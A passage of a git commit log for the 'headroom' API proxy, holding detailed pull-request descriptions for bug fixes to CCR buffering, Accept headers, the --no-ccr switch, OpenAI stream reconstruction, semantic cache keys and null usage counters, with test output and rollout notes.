GitHub's own client defaults to. Only `/v1/engines/<engine>/completions`
is affected; every other path keeps its upstream, pinned by tests.
Copilot credentials now also reach the completions host, which is the
point.
- Kill switch / disable path: `GITHUB_COPILOT_PROXY_URL` pins the
destination explicitly and beats all inference.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; completions return to the CAPI host
(404) and the settings block regains the inert `overrideAuthType`.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Two things found while reading the extension source, **not changed
here**:

1. `advanced.debug.overrideProxyUrl` is **not** deprecated — the report
that Copilot 0.60.0 stopped honouring it does not hold. The current
canonical key is `github.copilot.internal.completionsUrl`, and
`advanced.debug.overrideProxyUrl` is checked as its explicit legacy
fallback (`getEndpointOverrideUrl` in
`completions-core/lib/src/networkConfiguration.ts`), so what we write
still works. Worth migrating to the `internal.*` keys eventually, since
they take precedence.
2. `endpoints.proxy` is still only recorded during a token exchange,
which is opt-in via `GITHUB_COPILOT_USE_TOKEN_EXCHANGE`, and the base
URL is chosen before auth runs. With the default now correct this is a
refinement for per-SKU hosts rather than a correctness requirement, so
it is left as-is.

Closes #3076

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 15:21:22 -07:00
Tejas Chopra
139c7cbdde
fix(ccr): send Accept: application/json on a buffered stream:false turn (#3102)
## Description

Server-side CCR retrieval flips a `stream: true` turn to `stream: false`
so the whole upstream reply is in hand before answering. The **body**
was rewritten; the client's `Accept: text/event-stream` was **not**. The
request that went on the wire therefore contradicted itself — *"answer
as JSON"* in the body, *"I only accept SSE"* in the headers.

Anthropic's first-party API tolerates that, which is why this never
surfaced against it. GitHub Copilot's Anthropic-compatible gateway does
not, and answers with a generic `api_error`.

That is the reported shape exactly. An OpenCode session's **first** call
succeeds — no marker exists yet, so nothing is buffered. The **second**
call is the first to carry a redeemable `<<ccr:…>>` marker, so it is the
first to be flipped to buffered, and it fails. The reporter's own logs
show the correlation: every failed request carries
`mutation_reasons=…,ccr_streaming_retrieve_buffered_non_stream`.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/proxy/handlers/anthropic.py`: when the buffered CCR path
flips `stream` to `false`, the outgoing `Accept` header is set to
`application/json` to match. The lookup is case-insensitive and
**replaces** the existing header rather than appending, so exactly one
`Accept` goes upstream.
- `headroom/proxy/handlers/openai.py`: the **same fix on the
`/v1/responses` buffered path**, which has an identical `stream: false`
flip with no matching `Accept`. This handler is a GitHub Copilot path —
it calls `apply_copilot_api_auth` — so leaving it would have left the
reported bug live on a route the reporter can hit. Found during
self-review, not in the original diff.
- Same treatment for the Anthropic CCR continuation request, which is
non-streaming for the same reason and previously fixed only
`Content-Type`. Its header strip is now case-insensitive for
`Content-Type` as well, removing a latent duplicate-header path.
- `tests/test_buffered_ccr_accept_header.py`: 6 tests — the buffered
turn asks for JSON, exactly one `Accept` survives, mixed-case `Accept`
is replaced, a client sending no `Accept` still gets one, a non-buffered
streaming turn keeps `text/event-stream` untouched, and the OpenAI
`/v1/responses` buffered turn asks for JSON too.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_buffered_ccr_accept_header.py ......                          [100%]
6 passed

CCR-adjacent suites on this branch:
tests/test_buffered_ccr_accept_header.py, test_buffered_ccr_salvage.py,
test_buffered_ccr_grace_window.py, test_anthropic_streaming_ccr_retrieve.py,
test_ccr_buffered_stream_signed_thinking.py
41 passed

Full suite on this branch:
3 failed, 11216 passed, 581 skipped in 414.81s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `7ef736fb`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: Drove one streaming `/v1/messages` turn through
`create_app()` carrying a redeemable `<<ccr:…>>` marker and
`headroom_retrieve` in `tools` (so the buffered path engages), with the
client sending `Accept: text/event-stream`, and captured the exact
headers and body handed to the upstream call.
- Observed result: Before — `body.stream=False` sent together with
`accept: text/event-stream`, the self-contradicting request. After —
`body.stream=False` with `accept: application/json`, and a turn that is
not flipped still sends `accept: text/event-stream` unchanged. Reverting
only `headroom/proxy/handlers/anthropic.py` fails 3 of the new tests;
reverting the OpenAI hunk alone fails the `/v1/responses` test with
`['text/event-stream'] != ['application/json']`. Restoring both passes
all 6.
- Not tested: No live GitHub Copilot gateway call — I have no Copilot
credentials here, so the claim that Copilot rejects the contradictory
request is inferred from the reporter's logs plus the header mismatch,
not observed against their upstream. Confirmation from @mars-peng-lb on
a real OpenCode + Copilot session is still wanted before treating #3078
as fully closed.

Separately noted while reviewing, **not fixed here**:
`_should_buffer_openai_responses_stream_ccr` has no redeemable-marker
requirement, so the `/v1/responses` path still buffers on mere tool
presence — the #3071/#3092 narrowing was never mirrored from the
Anthropic handler. Worth its own issue.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: Only on the buffered CCR path, and
only the `Accept` header, which is made consistent with the `stream:
false` body already being sent. Non-buffered turns are byte-identical,
pinned by a test.
- Kill switch / disable path: `--no-ccr` / `HEADROOM_NO_CCR` disables
the buffered path entirely (see #3082), as does
`ccr_handle_responses=False`.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; the buffered path returns to
forwarding the client's `Accept` unchanged.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Closes #3078

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 07:16:02 -07:00
Tejas Chopra
131b119c05
fix(ccr): make --no-ccr disable server-side response handling too (#3101)
## Description

`--no-ccr` advertises **"Disable CCR entirely"**, and its help text
names the case it exists for: *"streaming / non-MCP clients that can't
resolve an injected tool."* It mapped onto only two of the three CCR
subsystems — markers and tool injection — leaving `ccr_handle_responses`
on. That field has no flag and no env var of its own, so under
`--no-ccr` it was always `True`.

That mattered because the buffered `stream: false` path keys off
`headroom_retrieve` being present in the **request's** tools, and the
client can put it there itself — the bundled OpenCode plugin registers
it unconditionally. So `--no-ccr` left the buffered path fully armed for
exactly the clients it was recommended to, and any turn whose history
still held a redeemable marker kept being flipped to buffered.

This is why the workaround handed out in #2952 / #3017 / #3079 did
nothing for `headroom wrap opencode`.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/cli/proxy.py`: `--no-ccr` / `HEADROOM_NO_CCR` now also sets
`ccr_handle_responses=False`, so the switch covers all three CCR
subsystems rather than two.
- Rewrote the inline comment, which claimed the flag "disables both
halves at once" — there were three.
- `tests/test_no_ccr_disables_response_handling.py`: 5 tests covering
the flag→config mapping (flag, env var, and the untouched default), plus
the behaviour it buys — a client-advertised `headroom_retrieve` with a
redeemable marker no longer flips the turn to buffered.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_no_ccr_disables_response_handling.py .....                    [100%]
5 passed

Full suite (both Tier 1 fixes applied):
3 failed, 11220 passed, 581 skipped in 428.90s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline run on the same machine: no `cargo` installed
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `7ef736fb`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: Drove one streaming `/v1/messages` turn through
`create_app()` with the `--no-ccr` posture (`ccr_inject_tool=False`,
`ccr_inject_marker=False`), a client-supplied `headroom_retrieve` in
`tools`, and a redeemable `<<ccr:…>>` marker in the message — then
recorded the `stream` value that reached the upstream stub.
- Observed result: Before — upstream received `stream=False`; the turn
was buffered despite `--no-ccr`. Only setting
`ccr_handle_responses=False` stopped it. After — `headroom proxy
--no-ccr` and `HEADROOM_NO_CCR=1` both produce
`ccr_handle_responses=False`, and the same turn keeps streaming.
Reverting just `headroom/cli/proxy.py` fails the two mapping tests and
passes them again with it restored.
- Not tested: No live OpenCode + GitHub Copilot session; the reporter's
end-to-end confirmation is still wanted. The OpenCode plugin still
registers `headroom_retrieve` unconditionally — deliberately left alone,
since with this fix an advertised tool no longer causes buffering.

## Runtime Rollout Safety

- Rollout-managed feature(s): None — no rollout channel gates this.
- Minimum rollout channel: n/a
- Stable/default behavior changed: No. Default (no flag) keeps
`ccr_handle_responses=True`, pinned by a test.
- Kill switch / disable path: This *is* the kill switch; the change
makes it work as documented.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit; `--no-ccr` returns to disabling two
of three subsystems.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Closes #3082

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 07:15:55 -07:00
Parideboy
7ef736fb1a
fix(ccr): make StreamingCCRHandler work on OpenAI streams (#3069)
## Description

`StreamingCCRHandler` (`headroom/ccr/response_handler.py`) was written
against the Anthropic wire format. Constructed with `provider="openai"`
it does not work: it silently drops the response, reports the wrong
`finish_reason`, and emits a stream shape no OpenAI client can read.
This PR fixes all three.

**Reachability, stated up front:** `StreamingCCRHandler` is exported
from `headroom/ccr/__init__.py` but no proxy handler instantiates it
today. Every live CCR path (`handlers/openai.py:4276`,
`handlers/openai.py:5936`, `handlers/anthropic.py`,
`handlers/gemini.py`) calls `CCRResponseHandler.handle_response` on a
non-streaming body instead. So these defects are not currently hit by
proxy traffic. They bite anyone importing the public
`headroom.ccr.StreamingCCRHandler` export, and they would bite the
moment streaming CCR gets wired up. I would rather fix them while they
are cheap than have them surface as a mysterious truncation bug later.

**This PR does not fix #1026.** I found these while investigating that
issue and they turned out to be unrelated to it. #1026 needs information
from the reporter before anyone can say whether Headroom is even in the
request path; I have asked for it there.

### The three defects

**1. The whole OpenAI response was dropped.**

`StreamingCCRBuffer.add_chunk` detected a tool call by scanning the
accumulated bytes for the literal `"type":"tool_use"`. That is
Anthropic-only. An OpenAI-compatible stream carries tool calls as a
`tool_calls` array inside `choices[].delta` and never emits that marker,
so `detected_ccr` could never become `True`.

Independently, `process_stream` decided the stream had ended by scanning
for `"stop_reason"`, another Anthropic-only field. An OpenAI stream has
no such field; it terminates with the `[DONE]` sentinel.

With neither marker ever matching, and nothing flushing the buffer once
the source iterator ran out, the outcome was:

- OpenAI stream under 10 000 bytes: **nothing at all was yielded**. The
client got an empty response.
- OpenAI stream over 10 000 bytes: chunks flushed in ~10 KB batches, and
the final sub-threshold batch was never flushed. The response visibly
stopped mid-sentence.

**2. `finish_reason` was hardcoded.**

`_reconstruct_openai_response` always returned `"finish_reason":
"stop"`, even when it had just finished reconstructing a non-empty
`tool_calls` array, where the OpenAI API requires `"tool_calls"`. A
client that drives its agent loop off `finish_reason` reads `stop`,
concludes the turn is over, and never executes the tool calls. The
Anthropic sibling `_reconstruct_anthropic_response` does this correctly,
carrying `stop_reason` through from `message_delta`.

It also discarded `id`, `object`, `created`, `model`, and `usage`,
returning a bare `choices` list that is not a valid `chat.completion`.

**3. `_response_to_sse` emitted the wrong shape.**

The OpenAI branch serialised the reconstructed **non-streaming** body
into a single SSE frame. A streaming client parses `choices[].delta`;
this frame has `choices[].message`. Both the text and the tool calls
were invisible to it.

### Why CI did not catch it

`tests/test_ccr_response_handler_extra.py` exercised
`_reconstruct_openai_response` but never asserted `finish_reason`, and
the one `process_stream` test that passed `provider="openai"` fed it
Anthropic-shaped bytes (`"type":"tool_use"` plus `"stop_reason"`). No
test had ever run a real OpenAI stream through this class. That test now
uses the real OpenAI wire shape, so it actually covers the path it
claims to.

## Type of Change

- [x] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to not work as expected)
- [ ] Documentation update
- [ ] Refactor / internal change

## Changes Made

All in `headroom/ccr/response_handler.py`:

- `StreamingCCRBuffer` gained a `provider` field (defaults to
`"anthropic"`, so existing construction is unchanged) and picks its
tool-call marker from it: `"type":"tool_use"` for Anthropic,
`"tool_calls"` for everything else. `StreamingCCRHandler.__init__` now
passes its own provider down.
- `process_stream` selects the end-of-stream marker by provider
(`"stop_reason"` for Anthropic, `data: [DONE]` for OpenAI), and **always
flushes whatever is still buffered once the source iterator is
exhausted**. That second part is deliberately unconditional on the
marker: upstream can truncate, a gateway can omit the sentinel, and a
future stream shape may not be recognised. Buffered bytes at that point
are real response data, so they get flushed rather than dropped.
- Removed the dead re-iteration block that followed the detection loop.
Its guard was `not detection_complete and not self.buffer.detected_ccr`,
and the only `break` out of the loop above required `detected_ccr` to be
`True`, so it could only ever be reached with an already-exhausted
iterator. The new flush takes its place.
- `_reconstruct_openai_response` derives `finish_reason`: `"tool_calls"`
when the message carries tool calls, otherwise the last non-null
upstream value (so a truncated turn stays reported as `"length"`),
defaulting to `"stop"`. It carries `id` / `created` / `model` /
`system_fingerprint` / `usage` through from the chunk envelope and
stamps `"object": "chat.completion"`. It also tolerates `"delta": null`
on a terminal chunk, which some OpenAI-compatible providers send instead
of `{}`, in the same spirit as #2467.
- New `_openai_response_to_chunks` splits a non-streaming
`chat.completion` body into proper `chat.completion.chunk` frames (a
role delta, a content delta, one delta per tool call, then a terminal
frame carrying `finish_reason`). `_response_to_sse` uses it and then
emits `[DONE]`. The Anthropic branch still delegates to
`StreamingMixin._response_to_sse` and is untouched.

Tests in `tests/test_ccr_response_handler_extra.py`:

- Seven new tests: OpenAI CCR detection on a `tool_calls` delta (plus a
non-CCR negative case), a short OpenAI stream passing through byte for
byte, a stream past the 10 000-byte flush threshold keeping its tail, a
stream with no `[DONE]` sentinel still flushing, `finish_reason`
becoming `"tool_calls"` with the envelope preserved, the upstream
`finish_reason` being kept when there are no tool calls, and
`_response_to_sse` emitting parseable chunk frames.
- `test_streaming_handler_falls_back_to_buffer_on_processing_error` now
feeds genuine OpenAI SSE bytes instead of Anthropic ones, so it
exercises the OpenAI detection path it was always meant to.
- `test_response_to_sse_formats` asserts the new chunk-frame shape for
OpenAI. The Anthropic half is unchanged.

No behaviour change for `provider="anthropic"` beyond the
end-of-iterator flush, which can only add data that was previously
discarded.

## Testing

- [x] Unit tests added/updated
- [x] Existing tests pass
- [ ] Manual testing performed
- [ ] Integration tests added

Each of the seven new tests was confirmed to fail against the unmodified
source (`git stash` on `response_handler.py` alone, tests untouched), so
they are genuine regression tests rather than assertions written to
match current behaviour:

```
$ git stash push -- headroom/ccr/response_handler.py
$ python -m pytest tests/test_ccr_response_handler_extra.py -q -k openai
FAILED tests/test_ccr_response_handler_extra.py::test_streaming_buffer_detects_ccr_in_openai_tool_calls_delta
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_ccr_yields_every_chunk
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_past_flush_threshold_keeps_the_tail
FAILED tests/test_ccr_response_handler_extra.py::test_openai_stream_without_done_sentinel_still_flushes
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_marks_tool_calls_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_reconstruct_openai_response_keeps_upstream_finish_reason
FAILED tests/test_ccr_response_handler_extra.py::test_response_to_sse_emits_openai_chunk_frames
7 failed, 2 passed, 13 deselected in 0.79s
```

With the fix applied, the full CCR response-handler suite passes:

```
$ python -m pytest tests/test_ccr_response_handler_extra.py tests/test_ccr_response_handler.py -q
collected 57 items
tests\test_ccr_response_handler_extra.py ......................          [ 38%]
tests\test_ccr_response_handler.py ...................................   [100%]
============================= 57 passed in 1.74s ==============================
```

Wider CCR and streaming surface:

```
$ python -m pytest tests/ -k "ccr or streaming" -q
4 failed, 696 passed, 73 skipped, 10949 deselected, 2 warnings in 175.80s (0:02:55)
```

The 4 failures are pre-existing on a clean `upstream/main` and unrelated
to this change (verified by stashing both changed files and re-running
exactly those four):
`test_ccr_mcp_http.py::test_streamable_http_initialize_and_list_tools`,
`test_cli_proxy_env.py::TestCLICompressionOnlyFlags::test_ccr_defaults_on`,
and two in `test_transforms/test_smart_crusher_ccr_roundtrip.py`.

Lint and types:

```
$ python -m ruff check .
All checks passed!
$ python -m ruff format --check .
1505 files already formatted
$ python -m mypy headroom --ignore-missing-imports
Found 12 errors in 3 files (checked 521 source files)
```

Zero mypy errors in `headroom/ccr/response_handler.py`. The 12 are
pre-existing, in `ccr/mcp_server.py`, `memory/mcp_server.py`, and
`release_version.py`, none of which this PR touches (they come from a
locally installed `mcp` whose stubs differ from CI's).

## Real Behavior Proof

- Environment: Windows 11, Python 3.13.11, pytest 9.1.1, ruff and mypy
from the repo's pinned config, branch `fix/ccr-streaming-openai-path`
off `upstream/main` at `cbb950a4`.
- Exact command / steps: `python -m pytest
tests/test_ccr_response_handler_extra.py
tests/test_ccr_response_handler.py -q`; then `git stash push --
headroom/ccr/response_handler.py` and `python -m pytest
tests/test_ccr_response_handler_extra.py -q -k openai` to confirm the
new tests fail without the source fix; then `python -m pytest tests/ -k
"ccr or streaming" -q`; then `python -m ruff check .`, `python -m ruff
format --check .`, `python -m mypy headroom --ignore-missing-imports`.
- Observed result: 57/57 pass in the CCR response-handler suites with
the fix; all 7 new tests fail without it. The wider run is 696 passed
with 4 failures that reproduce identically on an unmodified tree. Ruff
clean, mypy clean on the changed file. In
`test_openai_stream_without_ccr_yields_every_chunk` the handler now
returns every input chunk byte for byte, where before it returned an
empty list.
- Not tested: no end-to-end run against a live OpenAI-compatible
backend, because no proxy handler instantiates `StreamingCCRHandler`
today, so there is no wired path to drive. Coverage is at the class
level using recorded-shape SSE frames. The Anthropic path is covered
only by the existing tests, which still pass unchanged.

## Runtime Rollout Safety

- Rollout-managed feature(s): none. `StreamingCCRHandler` is not gated
by a rollout feature and is not reachable from any proxy handler.
- Minimum rollout channel: not applicable; no rollout gate is involved.
- Stable/default behavior changed: no. For `provider="anthropic"` the
only behavioural difference is that bytes left buffered when the source
iterator ends are now flushed instead of discarded, which can only add
data the client previously lost. For `provider="openai"` the class was
non-functional, so there is no prior behaviour to preserve.
- Kill switch / disable path: not applicable; no new configuration, env
var, or feature flag is introduced.
- Unsafe override required: no.
- Qualification impact: none. No qualification-gated surface is touched.
- Rollback path: revert this commit. It is self-contained in
`headroom/ccr/response_handler.py` and
`tests/test_ccr_response_handler_extra.py`, with no schema, config, or
persisted-state changes.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

Two judgement calls worth a reviewer's attention:

1. **Removing the dead re-iteration block** in `process_stream`. I am
confident it was unreachable (the only `break` above it requires
`detected_ccr`, which its own guard excludes), but it is the one
deletion in this diff rather than an addition, so it is worth a second
pair of eyes.
2. **The unconditional end-of-iterator flush.** I chose to flush
regardless of whether an end marker matched, rather than only fixing the
OpenAI marker. That makes the truncation bug unreachable even if a
future provider uses a shape neither marker recognises. The cost is that
a stream whose trailing bytes are genuinely not meant for the client
would now be forwarded. Given the buffer only ever holds upstream
response bytes, forwarding is the safer default, but flag it if you
disagree.

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 20:55:02 -07:00
Abhay Singh
2cae0f8eaf
fix(proxy/cache): strip cache_control from messages in the semantic cache key (#3086)
## Description

The proxy semantic response-cache key (`compute_semantic_cache_key`)
strips `cache_control` from the response-shaping fields (`system`,
`tools`, ...) so that a moved prompt-cache breakpoint does not fragment
the key:

```python
{
    "model": model,
    "messages": messages,  # hashed verbatim
    **{k: strip_cache_control(v) for k, v in key_fields.items()},  # stripped
}
```

But `messages` was hashed **verbatim**. Messages are the primary key
component, and on the Anthropic path they are the most common place a
client (e.g. Claude Code) places and *moves* a `cache_control`
breakpoint between turns (on the last user turn / a `tool_result`
block). So two otherwise-identical requests that differed only in a
message-level breakpoint produced different keys and missed the semantic
cache — the exact fragmentation the `strip_cache_control` helper exists
to prevent, applied to everything except the field that matters most.

The existing tests pin the strip for `system`
(`test_cache_control_breakpoint_move_same_key`) and `tools`
(`test_tools_cache_control_ignored`), but never covered a message-level
breakpoint, so the gap went unnoticed.

## Fix

Apply `strip_cache_control` to `messages` as well. `cache_control` is a
prompt-caching directive for the upstream provider that never changes
the generated completion, so removing the annotation before hashing is
sound: message *content* still differentiates the key, and two requests
that differ only in a `cache_control` breakpoint now share the cache
entry (whose stored response body is identical either way).

The proxy carries two in-sync copies of this pure policy
(`semantic_cache_key_policy.py`, imported by the runtime
`SemanticCache`, and `semantic_cache_key.py`, imported by the policy
test); both are updated identically so they do not diverge.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/semantic_cache_key_policy.py` and
`headroom/proxy/semantic_cache_key.py`: hash
`strip_cache_control(messages)` instead of `messages`, with a docstring
explaining why message-level breakpoints must not fragment the key.
- `tests/test_proxy_semantic_cache_key.py`: added
`test_message_cache_control_breakpoint_move_same_key` (behavioral,
through `SemanticCache._compute_key`) and
`test_message_content_change_still_distinct_key` (guards that stripping
does not collapse genuinely different messages).
- `tests/test_proxy_semantic_cache_key_policy.py`: added
`test_semantic_cache_key_ignores_moved_message_cache_control` at the
pure-policy level.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_proxy_semantic_cache_key.py + tests/test_proxy_semantic_cache_key_policy.py  33 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 (both policy modules) -> Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: reverted the two policy modules and ran the new
tests to capture the bug (`python -m pytest
tests/test_proxy_semantic_cache_key.py::test_message_cache_control_breakpoint_move_same_key
tests/test_proxy_semantic_cache_key_policy.py::test_semantic_cache_key_ignores_moved_message_cache_control`
-> both failed with two distinct SHA-256 keys for messages that differ
only in a `cache_control` breakpoint); restored the fix; re-ran both key
suites (`python -m pytest tests/test_proxy_semantic_cache_key.py
tests/test_proxy_semantic_cache_key_policy.py` -> 33 passed); ran the
wider `tests/test_cache/` suite and confirmed the only failures
(`test_client_integration.py`) reproduce identically on clean `main` and
are unrelated to this change; then `uvx ruff@0.15.22 format`, `uvx
ruff@0.15.22 check`, and `uvx mypy@1.20.2` on both modules.
- Observed result: before the fix, a request whose last message carries
`cache_control: {type: ephemeral}` hashes to a different key than the
same request without it; after the fix they hash identically (a cache
hit), while messages with different text still hash differently.
- Not tested: a live multi-turn proxy session measuring the hit-rate
improvement (the key contract is verified directly through
`SemanticCache._compute_key` and the pure policy, which is what the
runtime calls).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is the pure semantic-cache key
policy behind `SemanticCache`, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. Requests that
differ only in a message-level `cache_control` breakpoint now share a
semantic-cache key (a hit) instead of missing. No request that differs
in message content, model, or any shaping field changes key. Because the
cache key changes shape, any entries stored under the old (un-stripped)
keys are simply not reused and age out under the existing TTL/LRU — a
one-time cold start for the affected entries, never a wrong response.
- Kill switch / disable path: the semantic cache itself is already gated
by the existing cache-enable configuration; disabling it bypasses this
path entirely.
- Unsafe override required: no.
- Qualification impact: higher semantic-cache hit rate on the Anthropic
path where clients move `cache_control` breakpoints between turns; no
change to which distinct requests are considered equal beyond ignoring
the caching directive.
- Rollback path: revert this PR; the key returns to hashing messages
verbatim.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

Same class as the `system`/`tools` breakpoint handling already in place
(issue #327 kept the strip from fragmenting the key on a hit); this
extends it to messages, the primary key component. The two in-sync
policy copies are updated together to avoid divergence; consolidating
them into one module is left out of scope for this bug fix.
2026-08-17 20:21:17 -07:00
Abhay Singh
9ca5a16bde
fix(proxy/anthropic): coerce present-null usage counters on the buffered backend path (#3084)
## Description

The buffered (non-streaming) Anthropic backend branch in
`handle_anthropic_messages` (`headroom/proxy/handlers/anthropic.py`) —
the path taken by Bedrock / Vertex / LiteLLM(anthropic) traffic — read
the response usage counters with a bare default:

```python
output_tokens = usage.get("output_tokens", 0)
...
cr_tokens = usage.get("cache_read_input_tokens", 0)
cw_tokens = usage.get("cache_creation_input_tokens", 0)
```

A backend can report these counters as JSON `null` (key **present**,
value null) rather than omitting them. For a present-null key
`dict.get(key, 0)` returns `None`, not the default `0`. That `None` then
flowed into:

```python
provider_input_tokens=(uncached_input_tokens + cr_tokens + cw_tokens)
```

raising `TypeError: unsupported operand type(s) for +: 'NoneType' and
'NoneType'`, which the outer handler converted into a failed turn (HTTP
500 `api_error`) instead of a normal 200 with zeroed counters.

The direct-Anthropic-API branch a few hundred lines down already guards
this exact case with `int(usage.get(key, 0) or 0)`, and the surrounding
code even comments that a backend may "send null" for `input_tokens`
(and None-guards that field). The buffered branch was simply left
behind, so the two parallel paths disagreed on null handling.

## Fix

Coerce the three counters on the buffered path with `int(usage.get(key,
0) or 0)`, exactly matching the direct-API idiom, so a present-null
value becomes `0` instead of `None`. The already-present `input_tokens
is not None` guard is unaffected, and its fallback subtraction now
operates on coerced ints.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/handlers/anthropic.py` (buffered backend branch of
`handle_anthropic_messages`): coerce `output_tokens`,
`cache_read_input_tokens` and `cache_creation_input_tokens` with
`int(usage.get(key, 0) or 0)` so a present-null value is treated as `0`,
matching the direct-Anthropic path.
- `tests/test_backend_nonstreaming_cache_metrics.py`: added
`test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash`,
driving the buffered backend path with present-null `output_tokens` /
`cache_read_input_tokens` / `cache_creation_input_tokens` and asserting
a 200 with a recorded `RequestOutcome` whose counters are `0` and whose
uncached input comes from the present `input_tokens`.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_backend_nonstreaming_cache_metrics.py  7 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 headroom/proxy/handlers/anthropic.py -> Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: ran the new regression against the unpatched
handler and captured the crash (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py::test_anthropic_backend_nonstreaming_present_null_cache_counters_do_not_crash
-x -q` -> `assert 500 == 200` with body
`{"type":"error","error":{"type":"api_error","message":"unsupported
operand type(s) for +: 'NoneType' and 'NoneType'"}}`); applied the
`int(... or 0)` coercion; re-ran the whole file (`python -m pytest
tests/test_backend_nonstreaming_cache_metrics.py -q` -> 7 passed); then
`uvx ruff@0.15.22 format`, `uvx ruff@0.15.22 check`, and `uvx
mypy@1.20.2 headroom/proxy/handlers/anthropic.py`.
- Observed result: before the fix a backend response whose usage carries
`cache_read_input_tokens: null` (or a null `output_tokens` /
`cache_creation_input_tokens`) returned HTTP 500 and recorded no
outcome; after the fix the same response returns 200, the counters
coerce to `0`, and the `PERF` line reports `cache_read=0 cache_write=0`.
- Not tested: a live Bedrock/Vertex session emitting a real null-counter
usage block (the null-usage shape is reproduced directly through the
mocked backend that the existing suite already uses for this path).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is the buffered Anthropic
response-accounting path behind `handle_anthropic_messages`, not a
rollout-channel-gated runtime feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, as a bug fix. A backend response
with present-null usage counters now completes with a 200 and zeroed
counters instead of failing the turn with a 500. Responses with numeric
counters are unaffected.
- Kill switch / disable path: N/A. There is no behavioral toggle; the
change only hardens numeric coercion on the accounting path and does not
alter routing, compression, or request forwarding.
- Unsafe override required: no.
- Qualification impact: Bedrock / Vertex / LiteLLM(anthropic)
non-streaming turns that report a null cache/output counter stop 500-ing
and are recorded with zeroed counters, matching the direct-Anthropic
path.
- Rollback path: revert this PR; the buffered path returns to the bare
`usage.get(key, 0)` reads.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
